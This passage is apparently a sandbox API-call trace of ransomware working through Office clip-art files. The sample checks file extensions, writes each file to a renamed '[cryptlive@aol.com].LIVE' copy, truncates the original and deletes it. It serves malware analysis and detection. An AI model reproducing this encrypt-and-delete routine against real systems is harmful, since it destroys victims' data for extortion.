lpString2=".WMF") returned -1 [0158.979] lstrlenW (lpString=".docx") returned 5 [0158.979] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.979] lstrlenW (lpString=".pdf") returned 4 [0158.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.979] lstrlenW (lpString=".xls") returned 4 [0158.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.979] lstrlenW (lpString=".xlsx") returned 5 [0158.979] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.979] lstrlenW (lpString=".ppt") returned 4 [0158.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.979] lstrlenW (lpString=".zip") returned 4 [0158.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.979] lstrlenW (lpString=".rar") returned 4 [0158.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.979] lstrlenW (lpString=".bz2") returned 4 [0158.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.979] lstrlenW (lpString=".7z") returned 3 [0158.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.979] lstrlenW (lpString=".dbf") returned 4 [0158.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.979] lstrlenW (lpString=".1cd") returned 4 [0158.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.979] lstrlenW (lpString=".jpg") returned 4 [0158.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.980] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.980] lstrlenW (lpString="J0152594.WMF") returned 12 [0158.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.980] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6340) returned 1 [0158.980] CloseHandle (hObject=0x380) returned 1 [0158.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 0x20 [0158.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.981] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.981] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0158.982] GetLastError () returned 0x0 [0158.982] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x18c4, lpOverlapped=0x0) returned 1 [0158.990] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x18d0, lpOverlapped=0x0) returned 1 [0158.991] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.991] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.991] SetEndOfFile (hFile=0x3b4) returned 1 [0158.991] CloseHandle (hObject=0x3b4) returned 1 [0158.992] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.992] SetEndOfFile (hFile=0x380) returned 1 [0158.994] CloseHandle (hObject=0x380) returned 1 [0158.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0159.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.026] lstrlenW (lpString=".doc") returned 4 [0159.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString=".docx") returned 5 [0159.026] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.026] lstrlenW (lpString=".pdf") returned 4 [0159.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString=".xls") returned 4 [0159.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.027] lstrlenW (lpString=".xlsx") returned 5 [0159.027] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.027] lstrlenW (lpString=".ppt") returned 4 [0159.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.027] lstrlenW (lpString=".zip") returned 4 [0159.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.027] lstrlenW (lpString=".rar") returned 4 [0159.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.027] lstrlenW (lpString=".bz2") returned 4 [0159.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.027] lstrlenW (lpString=".7z") returned 3 [0159.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.027] lstrlenW (lpString=".dbf") returned 4 [0159.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.027] lstrlenW (lpString=".1cd") returned 4 [0159.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.027] lstrlenW (lpString=".jpg") returned 4 [0159.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.028] lstrlenW (lpString=".doc") returned 4 [0159.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString=".docx") returned 5 [0159.028] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.028] lstrlenW (lpString=".pdf") returned 4 [0159.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString=".xls") returned 4 [0159.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.028] lstrlenW (lpString=".xlsx") returned 5 [0159.028] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.028] lstrlenW (lpString=".ppt") returned 4 [0159.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.028] lstrlenW (lpString=".zip") returned 4 [0159.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.028] lstrlenW (lpString=".rar") returned 4 [0159.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString=".bz2") returned 4 [0159.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString=".7z") returned 3 [0159.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.028] lstrlenW (lpString=".dbf") returned 4 [0159.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.028] lstrlenW (lpString=".1cd") returned 4 [0159.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0159.029] lstrlenW (lpString=".jpg") returned 4 [0159.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.029] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.029] lstrlenW (lpString="J0152602.WMF") returned 12 [0159.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0159.030] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6276) returned 1 [0159.030] CloseHandle (hObject=0x314) returned 1 [0159.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 0x20 [0159.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0159.031] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.031] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0159.033] GetLastError () returned 0x0 [0159.033] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1884, lpOverlapped=0x0) returned 1 [0159.076] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1890, lpOverlapped=0x0) returned 1 [0159.077] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.077] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.077] SetEndOfFile (hFile=0x3b8) returned 1 [0159.077] CloseHandle (hObject=0x3b8) returned 1 [0159.077] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.077] SetEndOfFile (hFile=0x314) returned 1 [0159.080] CloseHandle (hObject=0x314) returned 1 [0159.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0159.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.121] lstrlenW (lpString=".doc") returned 4 [0159.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.121] lstrlenW (lpString=".docx") returned 5 [0159.122] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.122] lstrlenW (lpString=".pdf") returned 4 [0159.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.122] lstrlenW (lpString=".xls") returned 4 [0159.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.122] lstrlenW (lpString=".xlsx") returned 5 [0159.122] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.122] lstrlenW (lpString=".ppt") returned 4 [0159.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.122] lstrlenW (lpString=".zip") returned 4 [0159.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.122] lstrlenW (lpString=".rar") returned 4 [0159.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.122] lstrlenW (lpString=".bz2") returned 4 [0159.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.122] lstrlenW (lpString=".7z") returned 3 [0159.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.122] lstrlenW (lpString=".dbf") returned 4 [0159.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.122] lstrlenW (lpString=".1cd") returned 4 [0159.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.122] lstrlenW (lpString=".jpg") returned 4 [0159.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.122] lstrlenW (lpString=".doc") returned 4 [0159.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.122] lstrlenW (lpString=".docx") returned 5 [0159.122] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.122] lstrlenW (lpString=".pdf") returned 4 [0159.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.123] lstrlenW (lpString=".xls") returned 4 [0159.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.123] lstrlenW (lpString=".xlsx") returned 5 [0159.123] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.123] lstrlenW (lpString=".ppt") returned 4 [0159.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.123] lstrlenW (lpString=".zip") returned 4 [0159.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.123] lstrlenW (lpString=".rar") returned 4 [0159.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.123] lstrlenW (lpString=".bz2") returned 4 [0159.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.123] lstrlenW (lpString=".7z") returned 3 [0159.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.123] lstrlenW (lpString=".dbf") returned 4 [0159.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.123] lstrlenW (lpString=".1cd") returned 4 [0159.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0159.123] lstrlenW (lpString=".jpg") returned 4 [0159.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.123] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.123] lstrlenW (lpString="J0152626.WMF") returned 12 [0159.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.406] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=26248) returned 1 [0159.406] CloseHandle (hObject=0x3a0) returned 1 [0159.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 0x20 [0159.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0159.555] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.555] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0159.556] GetLastError () returned 0x0 [0159.556] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x6688, lpOverlapped=0x0) returned 1 [0159.618] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x6690, lpOverlapped=0x0) returned 1 [0159.619] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.620] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.620] SetEndOfFile (hFile=0x1e0) returned 1 [0159.620] CloseHandle (hObject=0x1e0) returned 1 [0159.620] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.620] SetEndOfFile (hFile=0x3b8) returned 1 [0159.622] CloseHandle (hObject=0x3b8) returned 1 [0159.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0159.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.667] lstrlenW (lpString=".doc") returned 4 [0159.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString=".docx") returned 5 [0159.668] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.668] lstrlenW (lpString=".pdf") returned 4 [0159.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString=".xls") returned 4 [0159.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.668] lstrlenW (lpString=".xlsx") returned 5 [0159.668] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.668] lstrlenW (lpString=".ppt") returned 4 [0159.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.668] lstrlenW (lpString=".zip") returned 4 [0159.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.668] lstrlenW (lpString=".rar") returned 4 [0159.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString=".bz2") returned 4 [0159.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString=".7z") returned 3 [0159.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.668] lstrlenW (lpString=".dbf") returned 4 [0159.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.668] lstrlenW (lpString=".1cd") returned 4 [0159.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.668] lstrlenW (lpString=".jpg") returned 4 [0159.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.668] lstrlenW (lpString=".doc") returned 4 [0159.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.668] lstrlenW (lpString=".docx") returned 5 [0159.668] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.668] lstrlenW (lpString=".pdf") returned 4 [0159.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString=".xls") returned 4 [0159.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.669] lstrlenW (lpString=".xlsx") returned 5 [0159.669] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.669] lstrlenW (lpString=".ppt") returned 4 [0159.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0159.669] lstrlenW (lpString=".zip") returned 4 [0159.669] lstrcmpiW (lpString1=".zip", 